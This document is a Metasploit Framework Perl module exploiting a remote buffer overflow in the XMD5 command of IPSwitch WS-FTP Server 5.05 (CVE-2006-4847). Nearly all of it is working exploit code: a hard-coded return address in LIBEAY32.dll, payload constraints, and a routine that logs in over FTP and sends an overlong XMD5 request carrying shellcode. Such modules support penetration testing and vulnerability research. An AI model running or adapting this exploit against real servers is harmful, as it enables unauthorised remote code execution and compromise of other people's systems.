IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)

                                                ##	
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wsftp_server_505_xmd5;
use base \"Msf::Exploit\";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
	\'Name\'    => \'WS-FTP Server 5.05 XMD5 Overflow\',
	\'Version\' => \'$Revision: 1.0 $\',
	\'Authors\' =>
	  [ \'Jacopo Cervini <acaro [at] jervus.it>\',
		
	  ],

	\'Arch\'  => [ \'x86\' ],
	\'OS\'    => [ \'win32\', \'win2000\', \'winxp\', \'win2003\' ],
	\'Priv\'  => 0,

	\'AutoOpts\'  => { \'EXITFUNC\' => \'thread\' },
	\'UserOpts\'  =>
	  {
		\'RHOST\' => [1, \'ADDR\', \'The target address\'],
		\'RPORT\' => [1, \'PORT\', \'The target port\', 21],
		\'SSL\'   => [0, \'BOOL\', \'Use SSL\'],
		\'USER\'  => [1, \'DATA\', \'Username\', \'ftp\'],
		\'PASS\'  => [1, \'DATA\', \'Password\', \'ftp\'],
	  },

	\'Payload\' =>
	  {
		\'Space\'  => 329,
		\'BadChars\'  => \"x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e\",

		
		\'Keys\' 		=> [\'+ws2ord\'],
	  },

	\'Description\'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the XMD command
        in IPSWITCH WS_FTP Server 5.05.    
}),

	\'Refs\'  =>
	  [
		[\'BID\', \'20076\'],
		[ \'CVE\', \'2006-4847\' ],
	  ],

	\'DefaultTarget\' => 0,
	\'Targets\' =>
	  [
		[\'WS-FTP Server 5.05 Universal\', 0x1002e636 ],	# push esp, ret in LIBEAY32.dll
	  ],

	\'Keys\' => [\'wsftp\'],

	\'DisclosureDate\' => \'Sep 14 2006\',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({\'Info\' => $info, \'Advanced\' => $advanced}, @_);
	return($self);
}


sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar(\'RHOST\');
	my $target_port = $self->GetVar(\'RPORT\');
	my $target_idx  = $self->GetVar(\'TARGET\');
	my $shellcode   = $self->GetVar(\'EncodedPayload\')->Payload;
	my $target      = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine(\"[*] Failed to initialize the NOP module.\");
		return;
	}

	my $request = Pex::Text::PatternCreate(676);
    $request .= pack(\"V\", $target->[1]);
    $request .= $shellcode;
    
    
    

	my $s = Msf::Socket::Tcp->new
	  (
		\'PeerAddr\'  => $target_host,
		\'PeerPort\'  => $target_port,
		\'LocalPort\' => $self->GetVar(\'CPORT\'),
		\'SSL\'       => $self->GetVar(\'SSL\'),
	  );

	if ($s->IsError) {
		$self->PrintLine(\'[*] Error creating socket: \' . $s->GetError);
		return;
	}

	my $r = $s->RecvLineMulti(20);
	if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
	$self->Print($r);

	$s->Send(\"USER \".$self->GetVar(\'USER\').\"
\");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
	$self->Print($r);

	$s->Send(\"PASS \".$self->GetVar(\'PASS\').\"
\");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
	$self->Print($r);

	$self->PrintLine(\"[*] Attemping to exploit target \'\".$target->[0].\"\'...\");

	$s->Send(\"XMD5 $request
\");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
	$self->Print($r);

	sleep(2);
	return;
}